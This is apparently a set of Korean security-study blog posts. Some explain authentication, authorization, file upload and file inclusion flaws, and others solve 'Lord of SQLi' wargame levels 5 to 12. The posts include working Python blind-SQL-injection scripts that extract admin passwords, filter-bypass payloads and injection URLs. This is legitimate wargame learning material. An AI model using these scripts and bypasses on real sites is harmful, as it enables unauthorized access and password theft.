1. 불충분한 인증/인가 취약점

 

1) 정의

1-1 인증?

  • 인증은 자신이 A라고 주장하는 사람이 실제로 A가 맞는지 확인하는 과정으로 로그인 인증, 본인인증 등이 있다,
  • 인증이 불충분하다면 사용자를 식별하는 과정에서 우회나 변조가 발생할 수 있다

1-2 인가?

  • 인가는 사용자에게 권한을 부여하는 것으로 작성자만 글을 수정하거나 삭제할 수 있도록 허용하는 것을 예시로 들 수 있다.
  • 인가가 불충분하다면 권한이 부여되지 않은 사용자가 허가되지 않은 페이지에 접근 할 수 있다.

1-3 인증/인가 취약점

  • 불충분한 인가 취약점은 중요 정보를 다루는 페이지에 대한 인증 절차가 미흡할 경우 발생하는 취약점이다.
  • 인증 기능(로그인, 중요 페이지에 대한 추가 인증)은 구형하였으나 추측 가능한 패스워드, 취약한 인증 프로세스로 구현되어 우회하거나 무력화하여 접근할 수 있다.

 

2. 불충분한 인증/인가 공격(1)

  • 프록시 도구를 이용해 해당 페이지의 흐름을 파악하여 이상한 점을 추측해 공격하거나 인가되지 않은 페이지로 접속한다.

 

1) 공격과정

  • 페이지의 흐름을 파악하기 위해 서비스를 이용한다.
  • 프록시 도구로 서비스를 이용했을 때 페이지의 흐름을 살펴본다.
  • Step1.php -> Step2.php 순으로 페이지가 진행되는 것을 확인한다.
  • Step3.php도 있을 것으로 추측해 접속해본다.
  • 인가되지 않은 사용자가 접속하여 공격이 이루어진다.

 

2) 실제화면

메인페이지의 흐름
Step1.php의 흐름
Step2.php의 흐름
Step3.php의 흐름
인가되지 않은 사용자가 서비스 이용화면

 

3. 불충분한 인증/인가 공격(2)

  • 프록시 도구를 이용해 해당 페이지의 주석처리된 부분을 취약점으로 여겨 인가되지 않은 사용자가 접속한다.

 

1) 공격과정

  • 페이지의 흐름을 파악하기 위해 서비스를 이용한다.
  • 프록시 도구로 서비스를 이용했을 때 페이지의 흐름을 살펴본다.
  • 버튼을 눌렀을 때 동작되는 코드가 주석 처리되어 있는 것을 확인한다.
  • 주석처리가 되어있는 페이지로 접속을 시도한다.
  • 인가되지 않은 사용자가 접속하여 공격이 이루어진다.

 

2) 실제화면

메인페이지의 흐름
주석처리된 페이지로 접속

 

4. 불충분한 인증/인가 공격(3)

  • 프록시 도구를 이용해 해당 페이지와 자바스크립트의 흐름을 파악하여 이상한 점을 추측해 공격하거나 인가되지 않은 페이지로 접속한다.

 

1) 공격과정

  • 페이지의 흐름을 파악하기 위해 서비스를 이용한다.
  • 프록시 도구로 서비스를 이용했을 때 페이지의 흐름을 살펴본다.
  • 버튼을 클릭했을 때 자바스크립트로 넘어가는 흐름을 파악한다.
  • 자바스크립트 파일을 분석해 취약점을 찾아본다.
  • 의심되는 페이지로 접속을 시도한다.
  • 인가되지 않은 사용자가 접속하여 공격이 이루어진다.

 

2) 실제화면

메인페이지의 흐름
자바스크립트의 흐름
인가되지 않은 사용자가 서비스 이용화면

'Web Hacking' 카테고리의 다른 글

SSRF  (0) 2023.02.24
웹 모의 해킹 취약점 항목 분석(#1)  (0) 2023.02.11
파일 업로드 취약점  (0) 2023.01.04
CSRF  (0) 2022.12.27
XSS  (0) 2022.12.16

12번문제의 php코드

 

1. 문제풀이

 

1) 코드 해석

  • 이번문제도 admin의 비밀번호를 알아내야 풀 수 있는 Blind SQLi 문제다
  • 이번문제에서는 =,substr,ascii 문자들이 필터링 걸려있다
  • 자동화도구에 대입할 쿼리를 만들때 위의 문자들을 우회해서 공격하면 된다

 

2) 문제 풀이

  • 필터링 걸려있는 문자들의 우회방법은 다음과 같다

= : like

substr : mid

ascii : ord

 

2-1 비밀번호의 길이와 실제 비밀번호를 알아내는 python코드

import requests
url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php' #url 주소를 입력
cookies = {'PHPSESSID': 'cookie'} #세션 쿠키를 입력
def find_pw_len():
    pw_len = 0
    while 1:
        pw_len=pw_len+1
        value = " \"\" or id like \"admin\" and length(pw) like {} #".format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
        params = {'no': value} # no에 Payload 코드 삽입 
        response = requests.get(url,params=params, cookies=cookies) #GET을 통해 전달
        print(response.status_code) # 응답 코드 확인 200번아니면 오류 상태
        print(value) # 전달되는 Payload 코드 확인
        if "Hello admin" in response.text: 
            break
    return pw_len #pw 길이 반환
def find_pw_str(pw_len):
    pw_str = ""
    for len in range(1,pw_len+1):
        for ascii in range(33,127): 
            value = " \"\" or id like \"admin\" and ord(mid(pw,{},1)) like {} #".format(len,ascii)  # 반복하면서 pw를 substring 한다음 ascii로 변환한 값을 통해 비교해서 정답을 찾아냄
            params = {'no': value}  # no에 Payload 코드 삽입 
            response = requests.get(url, params=params, cookies=cookies)  # GET을 통해 전달
            print(response.status_code)  # 응답 코드 확인 200번아니면 오류 상태
            print(value)  # 전달되는 Payload 코드 확인
            if "Hello admin" in response.text:  
                pw_str+=chr(ascii)+":" #참이라면 ascii코드를 char형으로 변경해서 저장
        pw_str+="\n"
    return pw_str #한 문자에 대한 검색이 끝날시 엔터 처리
if __name__ == '__main__':
    print("비밀번호 조합 : \n"+find_pw_str(find_pw_len()))

 

실제비밀번호를 알아내는 공격화면
공격 성공화면

 

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

WebHacking.kr(#47)  (0) 2023.04.13
WebHacking.kr(#25)  (0) 2023.04.13
Lord of SQLi(#11 golem)  (0) 2023.01.04
Lord of SQLi(#10 skeleton)  (0) 2023.01.04
Lord of SQLi(#9 vampire)  (0) 2023.01.04

11번문제의 php코드

 

1. 문제풀이

 

1) 코드 해석

  • 이번 문제는 blind SQLi문제로 저번에 사용하였던 자동화도구를 사용하여 풀면 된다
  • 하지만 이번 문제에서는 다음과 같이 여러가지 필터링이 있다

if(preg_match('/or|and|substr\(|=/i'$_GET[pw])) exit("HeHe"); 

  • or,and,substr,= 이렇게 SQLi에서 많이 쓰이는 문자 4가지 정도가 필터링이 걸려있다
  • 위 문자들을 우회해서 자동화 도구를 사용하면 비밀번호를 알아낼 수 있다

 

2) 문제 풀이

방법은 다음과 같다

  • 먼저 우회한 페이로드를 작성하여 자동화도구에 페이로드 코드부분을 수정한다
  • 그 다음 실제pw를 알아내서 공격을 시도한다

 

2-1 비밀번호의 길이를 알아내는 python코드

import requests
url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php' #url 주소를 입력
cookies = {'PHPSESSID': 'cookie'} #세션 쿠키를 입력
def find_pw_len():
    pw_len = 0
    while 1:
        pw_len=pw_len+1
        value = "' || id like 'admin' && length(pw) like {} #".format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
        params = {"pw": value} # pw에 Payload 코드 삽입 
        response = requests.get(url,params=params, cookies=cookies) #GET을 통해 전달
        print(response.status_code) # 응답 코드 확인 200번아니면 오류 상태
        print(value) # 전달되는 Payload 코드 확인
        if "Hello admin" in response.text: 
            break
    return pw_len #pw 길이 반환
if __name__ == '__main__':
    print("pw의 길이는 : "+str(find_pw_len()))

 

2-2 실제 비밀번호를 알아내는 python코드

import requests
url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php' #url 주소를 입력
cookies = {'PHPSESSID': 'cookie'} #세션 쿠키를 입력
def find_pw_len():
    pw_len = 0
    while 1:
        pw_len=pw_len+1
        value = "' || id like 'admin' && length(pw) like {} #".format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
        params = {'pw': value} # pw에 Payload 코드 삽입 
        response = requests.get(url,params=params, cookies=cookies) #GET을 통해 전달
        print(response.status_code) # 응답 코드 확인 200번아니면 오류 상태
        print(value) # 전달되는 Payload 코드 확인
        if "Hello admin" in response.text: 
            break
    return pw_len #id 길이 반환
def find_pw_str(pw_len):
    pw_str = ""
    for len in range(1,pw_len+1):
        for ascii in range(0,127): #ascii a~z까지의 값 반복
            value = "' || ascii(substring(pw,{},1)) like {} #".format(len,ascii)  # 반복하면서 pw를 substring 한다음 ascii로 변환한 값을 통해 비교해서 정답을 찾아냄
            params = {'pw': value}  # pw에 Payload 코드 삽입 
            response = requests.get(url, params=params, cookies=cookies)  # GET을 통해 전달
            print(response.status_code)  # 응답 코드 확인 200번아니면 오류 상태
            print(value)  # 전달되는 Payload 코드 확인
            if "Hello admin" in response.text:  
                pw_str+=chr(ascii)+":" #참이라면 ascii코드를 char형으로 변경해서 저장
        pw_str+="\n"
    return pw_str #한 문자에 대한 검색이 끝날시 엔터 처리
if __name__ == '__main__':
    print("비밀번호 조합 : \n"+find_pw_str(find_pw_len()))

 

비밀번호의 길이를 알아내는 공격화면
실제 비밀번호를 알아내는 공격화면
공격 성공화면

 

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

WebHacking.kr(#25)  (0) 2023.04.13
Lord of SQLi(#12 darkknight)  (0) 2023.01.05
Lord of SQLi(#10 skeleton)  (0) 2023.01.04
Lord of SQLi(#9 vampire)  (0) 2023.01.04
Lord of SQLi(#8 troll)  (0) 2022.12.30

10번문제의 php코드

1. 문제풀이

 

1) 코드 해석

  • 이번 문제는 조금 의아한 문제이다 그 이유는 쿼리문뒤에 and 1=0을 넣어서 뭔가 있는것처럼 꾸며놨지만 사실 문제를 푸는데 아무 필요가 없는 구문이다
  • 사실 이번문제는 초반문제와 거의 비슷하다 admin이라는 계정으로 접속을 하면 풀리는 문제다

 

2) 문제 풀이

  • 공격 시 삽입 구문: ?pw=' or id='admin'%23
  • 공격 후 구문: https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php?pw=' or id='admin'%23
  • 위와같은 방식으로 공격하면 매우 간단하게 성공한다
  • 공격을 수행하면 결과적으로 SQL쿼리문에 다음과 같이 공격 시 삽입 구문이 대입되므로 공격이 성공한다.

select id from prob_skeleton where id='guest' and pw='' or id='admin'#' and 1=0

 

공격성공 화면

 

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

Lord of SQLi(#12 darkknight)  (0) 2023.01.05
Lord of SQLi(#11 golem)  (0) 2023.01.04
Lord of SQLi(#9 vampire)  (0) 2023.01.04
Lord of SQLi(#8 troll)  (0) 2022.12.30
Lord if SQLi(#7 orge)  (0) 2022.12.30

9번문제의 php코드

1. 문제풀이

 

1) 코드 해석

  • 다음 코드에서 보여지듯이 이번문제에서는 admin이라는 문자를 공백으로 대체하여 처리하는 방식으로 이루어져있다

$_GET[id] = str_replace("admin","",$_GET[id]); 

  • 그리고 이번엔 저번과 같은 대소문자 우회를 막기위해 id값을 소문자로 치환하는 코드도 짜여져있다

$_GET[id] = strtolower($_GET[id]);

  • 그렇다면 admin이라는 문자를 공백으로 대체하는것을 우회하는 방법으로 접근해야한다

 

2) 문제 풀이

  • 이번에는 대소문자 우회가 통하지 않기때문에 다른 방법을 찾아야한다
  • XSS에서 사용되는 방법을 이용하여 우회하면 공격이 가능하다
  • admin 이라는 문자를 필터링 하므로 aadmindmin을 삽입하여 중간에 admin이 필터링되고 남는부분인 admin이 대입되어 공격이 성공한다
  • 공격 시 삽입 구문: aadmindmin
  • 공격 후 구문: https://los.rubiya.kr/chall/vampire_e3f1ef853da067db37f342f3a1881156.php?id=aadmindmin 

 

공격 성공 화면

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

Lord of SQLi(#11 golem)  (0) 2023.01.04
Lord of SQLi(#10 skeleton)  (0) 2023.01.04
Lord of SQLi(#8 troll)  (0) 2022.12.30
Lord if SQLi(#7 orge)  (0) 2022.12.30
Lord of SQLi(#6 darkelf)  (0) 2022.12.30

1. 파일 업로드 취약점

 

1) 정의

  • 파일 업로드 취약점은 웹 사이트의 파일 업로드 기능을 이용하여 인가 받지 않은 파일을 서버에 임의로 업로드 하는 공격이다. 
  • 웹 쉘 형태의 파일을 업로드 후 실행하면 서버의 자원을 장악할 수 있으며 웹 서비스를 실행하는 서버의 권한을 획득할 수 있다. 
  • 다른 페이지의 코드를 변조하여 클라이언트에게 악성 코드를 배포할 수 있다.

 

2) 파일 업로드 공격 원리

행위 발생원인
악의적인 파일 업로드 파일 업로드 시 확장자 체크의 미흡, PUT 메소드 이용
업로드 경로 확인 업로드 디렉토리의 경로 노출
스크립트 실행 실행 권한 존재
  • 위 표의 3가지 조건이 모두 만족할 때 발생하는 취약점이 파일 업로드 공격이다.

 

1. 파일 업로드 공격: 기본

  • 웹페이지에 어떠한 보안대책과 대응방안이 없을 때 파일 업로드 취약점을 이용해 공격한다.

1) 공격 과정

  • php코드를 이용해 웹쉘 작성
  • 게시판에 웹쉘 업로드
  • 프록시 도구를 이용해 업로드 디렉토리의 경로 확인
  • 해당 경로로 이동 후 웹쉘 실행하여 공격

2) 실제 화면

웹쉘 코드

 

웹쉘 업로드

 

업로드 디렉토리 경로 확인

 

웹쉘 실행

 

2. 파일 업로드 공격: 파일 검증 우회

 

1) 파일 검증 우회?

  • 서버는 파일을 주고받을 때 MIME Type으로 파일의 종류를 확인한다.
  • MIME Type의 Content Type을 확인해서 image/jpg등인 경우에만 업로드 할 수 있도록 개발하는 방식

2) 공격 과정

  • php코드를 이용해 웹쉘을 작성한다.
  • 정상적인 image파일을 업로드한다.
  • 웹쉘 업로드를 시도한다.
  • 실패 시 프록시 도구로 해당 패킷을 잡아 정상 업로드와 실패 업로드의 차이를 비교한다.
  • 파일 검증 우회인 경우로 확인되면 Content Type부분을 image/jpg로 수정후 다시 보낸다.
  • 업로드 성공 후 해당 경로로 이동하여 웹쉘 실행

3) 실제 화면

이미지 파일 업로드 시 화면

 

웹쉘 업로드 시 화면

 

Content Type 변경 후 업로드 성공 화면

 

웹쉘 실행

 

1. File Inclusion 취약점

  • 공격자가 악성코드 혹은 웹셸을 서버에 전달하여 해당 페이지를 통해 실행 되도록 하는 취약점
  • 악성 스크립트가 삽입되는 위치에 따라 LFI, RFI로 분류
  • 경로 제한, 파라미터 변조 등에 대한 필터링의 부재로 경로 접근, 파일 실행, 외부 파일 다운로드 등의 다양한 공격으로 활용 가능

 

1) LFI 공격

  • Jpg, png 파일 정상적으로 업로드한다.
  • 프록시 도구를 이용해 파일 내용 가장 밑에 웹셸코드를 삽입하여 업로드한다.
  • File Inclusion 취약점이 있는 페이지에서 웹셸코드를 삽입한 파일의 경로를 파라미터에 삽입한다.
  • 공격을 실행한다.

1-1 실제화면

기존 jpg파일 내용에 웹셸코드 삽입

 

웹쉘 실행 후 공격

 

2) RFI 공격

  • 해커 서버에 웹셸코드를 작성한다.
  • File Inclusion 취약점이 있는 페이지에서 웹셸코드를 삽입한 파일의 경로를 파라미터에 삽입한다.
  • 공격을 실행한다.

2-1 실제화면

해커서버의 웹쉘코드

 

웹쉘 실행 후 공격

 

'Web Hacking' 카테고리의 다른 글

웹 모의 해킹 취약점 항목 분석(#1)  (0) 2023.02.11
불충분한 인증/인가 취약점  (0) 2023.01.17
CSRF  (0) 2022.12.27
XSS  (0) 2022.12.16
Blind SQLi  (0) 2022.12.05

8번문제의 php코드

1. 문제풀이

 

1) 코드 해석

  • 다음코드에서 보여지듯이 이번문제에서는 "admin"이라는 문자가 필터링 되어있는것을 볼 수 있다

if(preg_match("/admin/"$_GET[id])) exit("HeHe");

  • admin 문자만 우회하면 공격을 성공할수 있지만 그런 우회방법이 있을까 싶다

 

2) 문제 풀이

  • 저번에 풀었던(#3 goblin)문제에서 사용했던 스트링 우회기법으로 공격을 시도했지만 될리가 없다

공격 실패 화면

  • 도저히 방법을 모르겠어서 인터넷 검색을 해본결과 어이없게도 아주 사소한 부분을 놓치고 있었다
  • 당연히 막혀있을거라 생각했던 대소문자 구분을 하지 않고 있다는 점이다
  • 따라서 공격구문에 admin이 아닌 Admin 혹은 AdMin 이런식으로 공격하면 공격이 성공한다
  • 공격 시 삽입 구문: id=Admin
  • 공격 후 구문: https://los.rubiya.kr/chall/troll_05b5eb65d94daf81c42dd44136cb0063.php?id=Admin
  • 공격을 수행하면 결과적으로 SQL쿼리문에 다음과 같이 공격 시 삽입 구문이 대입되므로 공격이 성공한다.

select id from prob_troll where id='Admin'

 

공격 성공 화면

 

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

Lord of SQLi(#10 skeleton)  (0) 2023.01.04
Lord of SQLi(#9 vampire)  (0) 2023.01.04
Lord if SQLi(#7 orge)  (0) 2022.12.30
Lord of SQLi(#6 darkelf)  (0) 2022.12.30
Lord of SQLi(#5 wolfman)  (0) 2022.12.28

7번문제의 php코드

1. 문제풀이

 

1) 코드 해석

  • 이번문제는 바로 직전에 풀었던 "darkelf"문제와 blind SQLi문제였던"orc"문제의 조합 버전이라고 생각하면 된다
  • blind SQLi문제지만 or,and 문자가 필터링이 되어 공격쿼리를 짤때 이부분만 우회하여 자동화도구에 대입시키면된다

 

2) 문제 풀이

방법은 다음과 같다

  • 먼저 pw의 길이를 자동화도구를 사용하여 알아낸다
  • 그 다음 실제 pw를 자동화도구를 사용하여 알아낸 뒤 공격을 시도한다

 

2-1 비밀번호의 길이를 알아내는 python코드

import requests
url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php' #url 주소를 입력
cookies = {'PHPSESSID': 'cookie'} #세션 쿠키를 입력
def find_pw_len():
    pw_len = 0
    while 1:
        pw_len=pw_len+1
        value = "' || id='admin' && length(pw) = {}   -- '".format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
        params = {"pw": value} # pw에 Payload 코드 삽입
        response = requests.get(url,params=params, cookies=cookies) #GET을 통해 전달
        print(response.status_code) # 응답 코드 확인 200번아니면 오류 상태
        print(value) # 전달되는 Payload 코드 확인
        if "Hello admin" in response.text: 
            break
    return pw_len #id 길이 반환
if __name__ == '__main__':
    print("pw의 길이는 : "+str(find_pw_len()))

 

2-2 실제 비밀번호를 알아내는 python 코드

import requests
url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php' #url 주소를 입력
cookies = {'PHPSESSID': ''} #세션 쿠키를 입력
def find_pw_len():
    pw_len = 0
    while 1:
        pw_len=pw_len+1
        value = "' || id = 'admin' && length(pw) = {}   -- '".format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
        params = {'pw': value} # pw에 Payload 코드 삽입
        response = requests.get(url,params=params, cookies=cookies) #GET을 통해 전달
        print(response.status_code) # 응답 코드 확인 200번아니면 오류 상태
        print(value) # 전달되는 Payload 코드 확인
        if "Hello admin" in response.text: 
            break
    return pw_len #pw 길이 반환
def find_pw_str(pw_len):
    pw_str = ""
    for len in range(1,pw_len+1):
        for ascii in range(0,127): #ascii a~z까지의 값 반복
            value = "' || ascii(substring(pw,{},1)) = {} -- '".format(len,ascii)  # 반복하면서 pw을 substring 한다음 ascii로 변환한 값을 통해 비교해서 정답을 찾아냄
            params = {'pw': value}  # pw에 Payload 코드 삽입 
            response = requests.get(url, params=params, cookies=cookies)  # GET을 통해 전달
            print(response.status_code)  # 응답 코드 확인 200번아니면 오류 상태
            print(value)  # 전달되는 Payload 코드 확인
            if "Hello admin" in response.text:  # 
                pw_str+=chr(ascii)+":" #참이라면 ascii코드를 char형으로 변경해서 저장
        pw_str+="\n"
    return pw_str #한 문자에 대한 검색이 끝날시 엔터 처리
if __name__ == '__main__':
    print("비밀번호 조합 : \n"+find_pw_str(find_pw_len()))

 

비밀번호의 길이를 알아내는 공격화면
실제 비밀번호를 알아내는 공격화면

  • 자동화도구를 통해 실제 비밀번호가 7b751aec 인것을 알아낼 수 있다
  • 공격 시 삽입 구문: pw=' || id=admin && pw=7b751aec
  • 공격 후 구문: https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=%27%20||%20id=admin%20&&%20pw=7b751aec
  • 공격을 수행하면 결과적으로 SQL쿼리문에 다음과 같이 공격 시 삽입 구문이 대입되므로 공격이 성공한다.

select id from prob_orge where id='guest' and pw='7b751aec'

 

공격 성공화면

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

Lord of SQLi(#9 vampire)  (0) 2023.01.04
Lord of SQLi(#8 troll)  (0) 2022.12.30
Lord of SQLi(#6 darkelf)  (0) 2022.12.30
Lord of SQLi(#5 wolfman)  (0) 2022.12.28
Lord of SQLi(#4 orc)  (0) 2022.12.28

6번문제의 php코드

1. 문제풀이

 

1) 코드 해석

  • 이번문제는  다음코드에서 보여지듯이 or,and 문자가 필터링이 되어있다

if(preg_match('/or|and/i'$_GET[pw])) exit("HeHe");

  • 하지만 위 필터링 외에는 별다른 특징이없고 admin계정으로 접속만 하면 문제가 풀리는 방식이다

2) 문제풀이

  • 문제풀이는 생각보다 간단하다 원래 자주쓰는 우회방법인 ' or id='admin 공격구문에서 or만 우회하여 공격한다
  • or,and 문자를 우회하는 방법은 다음과 같다

or = ||

and = &&

  • 공격 시 삽입 구문: 'pw=' || id='admin
  • 공격 후 구문: https://los.rubiya.kr/chall/darkelf_c6a5ed64c4f6a7a5595c24977376136b.php?pw=%27%20||%20id=%27admin
  • 공격을 수행하면 결과적으로 SQL쿼리문에 다음과 같이 공격 시 삽입 구문이 대입되므로 공격이 성공한다.

select id from prob_darkelf where id='guest' and pw='' || id='admin'

 

공격 성공화면

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

Lord of SQLi(#8 troll)  (0) 2022.12.30
Lord if SQLi(#7 orge)  (0) 2022.12.30
Lord of SQLi(#5 wolfman)  (0) 2022.12.28
Lord of SQLi(#4 orc)  (0) 2022.12.28
Lord of SQLi(#3 goblin)  (0) 2022.12.28

5번문제의 php코드

1.문제풀이

 

1) 코드 해석

  • 다음 코드를 보면 이번문제에서는 공백(스페이스바)이 필터링 되어있는것을 볼 수 있다

if(preg_match('/ /i'$_GET[pw])) exit("No whitespace ~_~"); 

  • 공백 필터링만 우회해서 admin계정으로 접속하면 역시 풀리는 문제이다

 

2) 문제풀이

  • 먼저 admin계정을 가져오기 위해서는 pw=' 문구로 다음과 같이 첫번째 쿼리문을 닫아준다

select id from prob_wolfman where id='guest' and pw=''

  • 그 뒤에 or id='admin 문구로 admin계정으로 접속 할 수 있게 한다
  • 따라서 pw=' or id='admin 문구를 대입하여 다음과 같이 쿼리문에 삽입시키면 공격이 성공한다
  • select id from prob_wolfman where id='guest' and pw='' or id='admin'
  • 하지만 or 양쪽으로 공백이 있으므로 필터링 우회를 해서 공격해야한다
  • 공백 필터링 우회방법에는 여러가지가 있는데 이 중에 골라서 쓰면 된다 

Tab : %09

\n : %0a

\r : %0d

주석 : /**/

  • 공격 시 삽입 구문: pw='%0aor%0aid='admin
  • 공격 후 구문: https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php?pw=%27%0aor%0aid=%27admin 

공격 성공 화면

 

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

Lord if SQLi(#7 orge)  (0) 2022.12.30
Lord of SQLi(#6 darkelf)  (0) 2022.12.30
Lord of SQLi(#4 orc)  (0) 2022.12.28
Lord of SQLi(#3 goblin)  (0) 2022.12.28
Lord of SQLi(#2 cobolt)  (1) 2022.12.28

+ Recent posts